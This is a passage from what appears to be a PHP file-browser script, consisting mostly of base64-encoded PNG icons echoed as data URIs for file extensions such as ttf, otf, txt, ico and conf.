SiJtYQeJTIbQ2XcGpF2JVIrQWfTYUrUKutEjkLT5NQz41f2Q+LHIBFfw8s2gvkDZ7bCWVsBaVgHdiOEB/4qIpbgUtvJKqJMSoIiNujEBlF36/5tBfUESFHTjK54piay01/HGUn9BcF0AgVmIACKHCCByiAAihwggcogAIocIIHIYvQ9w/ePPEsxnzjEZkuBG5LTsICzg6Y0gR53J0Jp7lsmQBDcMyfGM3m8mXYDIIQKIHCKAyCECiBzBPw3sDRK5HJTD4fPxMpUKcp2u23qnzQZHi+dXTYRAvxbAkJaKtLVroE9OQuWeT5D/93W9PnbAhDsQNXsWDOnp0CYM8frcn3K5UHfkKH7681/QXl/f7X58pF93AUm//Q2Cs4ZDptEg/vHHEJzV8+qicq0WGS++gFHvvYuo++6FLimxx0kfEqkU4TmTEDf/IaZSZ41+LUDIaPpijaFjvE/YlCoUuH3nR4h58AGf2lOEBPt0HJf0awE8lurrYe2+5GXPQp+S4nWf7rBevYbyj3b4dCyX9OsxQF8wpKcjfsHj9EKKQvW+z1F/4gevgzxHWxtMP5z0a/FKriAC3CQ8e6JHX39u5WpU7/uco4zYoV93AX3BkJ5G2248c7bfn3yACNCJPpn+QmdjnjieahIBbmK5Uk3b1sTFcpQJuxABbtJ88SJtO3xSNvTDmPlAJZ8hAtyk4fSPtG2JTIYxW7cgbv5D0MTGIMigR5BBL8jXv7xBfgXcpPbQYVw/chTh2RM7y4KCg5G29i+0/ZxWK1ou5aPpwgVU7f4ELYWFbKfKKOQKcAvnn18De1OT131kKhWCR/wCgx/5Ncbt3Y3Exc8I+qpABLgFW20tTi18Eq3Fxb3aXxoUhORlz2LEpjcDnFngIAK40XzxEr6b+yBK3n0P1pqrvTomYspkRM+dE+DMAoNgxgByvR7R998HqUKBqk/29nip9gdXezsKX9+Awtc3QBEaCkNaKoKMNz74rAgLQ8SUyQgbezvtmNTVK3H98LdoN5m6CslbBCPAiE1vdv7RB86cge8fmMdKu+0mE+qOHaeVlX+4HUP/9AcMefKJzjK5Xo+Qkbfh2sGvWMmLKQTRBSgjImj/44wZ6b16aue+apjL7vusIHeK3tjo8b/dmJHOWHy2EIQA9oYGuNw+6xYy2vuzfXVUFGRqNa2st4O73uCy29F8gX7zSOfjo2QuEYQALrsdrW6/twfOuMvr8/3IuzzXCnI/Yf6ijqZ/GtZaU8NofDYQhAAA0OR28kJHj0LCU092ua8hLQ3JS39PK7PW1DA6QIuYnANtAn2pGKYFYwPBDAIr/r0D0XPuh/SWVb1TViyHMTMTFTt2oqWwEKqBgxCRk42EZ56GVEFfEbxs64e9akcil3u9saMMC0PE1ClIWb6UXkFRaDwrvNfiBCNAS0Ehije9hZQVy2nlkdOnIXL6NK/Hmk6eQtmH273uo4mNwbBVKxGeM8mnO3uVu3aj9XJJn4/jGsF0AQBQ+v4HMJ3K7dMx9qYm/LTqOY+ve7uTuGQxIqZO8enkW6qqkP/K+j4fxwcEJQDldCL3iUUo2fxur+bf1R07juP3zoGlurrHfdWxvj3/b8w7h9xFz8DZ1ubT8VwjmC6gA5fdjsINb+La198gZdlSGDMzINfrO+sphwMthUWo3L0HlR/v6nXcsi0fwJiZAZlK1av9rTVXUbFjB0q3bBXkZNAOGF0p9MjcX85tu5i/l7GAvUEigSY2FvqhKbDW1KClsAiu9vaej+uCIKMRAyZOoA003bHV1aH5wkXObvmGZg7VjdnzqZmpeIwK8L/UzBxQLlaXihUbKlubOqe0lLEVQgQ1BiAwDxFA5BABRA4RQOQQAUTO/wG5PWStY8MrrgAAAABJRU5ErkJggg=="; } elseif ($ext == "ttf") { echo "data:image/png;base64,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"; } elseif ($ext == "otf") { echo "data:image/png;base64,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"; } elseif ($ext == "txt") { echo "data:image/png;base64,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"; } elseif ($ext == "ico") { echo "data:image/png;base64,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"; } elseif ($ext == "conf") { echo "data:image/png;base64,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